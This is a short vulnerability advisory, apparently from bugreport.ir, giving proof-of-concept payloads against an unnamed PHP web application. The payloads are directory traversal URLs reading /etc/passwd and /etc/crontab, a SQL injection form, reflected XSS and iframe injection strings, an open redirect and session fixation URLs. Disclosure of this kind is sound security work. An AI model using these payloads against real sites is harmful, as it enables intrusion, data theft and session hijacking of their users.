# Original Advisory: www.bugreport.ir/?/44

1. Exploits/POCs:
    1.1. Directory Traversal in "/download.php" in "dfile" parameter.
        -------------
        http://[URL]/download.php?dfile=../../../../../../etc/passwd
        http://[URL]/download.php?dfile=../../../../../../../etc/crontab
        -------------
    1.2. SQL Injection in "/rating.php" in "book_id" parameter.
        -------------
        <form action="http://[URL]/rating.php" method="post">
        <input type=text name=book_id size=100 value="[SQL Injection]"><br>
        <input type=hidden name=user_score size=100 value=5>
        <input type=submit name=submit_for_rating value="Go!">
        </form>
        -------------
    1.3. Reflected XSS attack in "/login.php" in URL parameters.
        -------------
        http://[URL]/login.php?Fake=<fake><script>alert(/sdl BugReport.IR xss/)</script>
        -------------
    1.4. Reflected XSS attack in "/hta/htmlarea.js.php" in "glb_sid" parameters.
        -------------
        http://[URL]/hta/htmlarea.js.php?glb_sid=<script>alert(/sdl BugReport.IR xss/)</script>
        -------------
    1.5. Reflected redirect XSS attack in "rss_getfile.php" in "file" parameters.
        -------------
        http://[URL]/rss_getfile.php?file=http://BugReport.ir
        -------------
    1.6. Reflected XSS attack in "room.php".
        -------------
        First of all, login into the site.
        Now submit this : <iframe src="http://www.BugReport.ir/" width=1000 height=1000></iframe>
        at: http://[URL]/room.php?slc_lang=fa&sid=1&user_id=1
        -------------
    1.7. "/homepg/index.php" and "/homepg/login.php" are vulnerable to session fixation.
        -------------
        First, clear the site's cookies, and then goto:
        http://[URL]/homepg/index.php?PHPSESSID=BugReportIRSessionFixation
        http://[URL]/homepg/login.php?PHPSESSID=BugReportIRSessionFixation
        -------------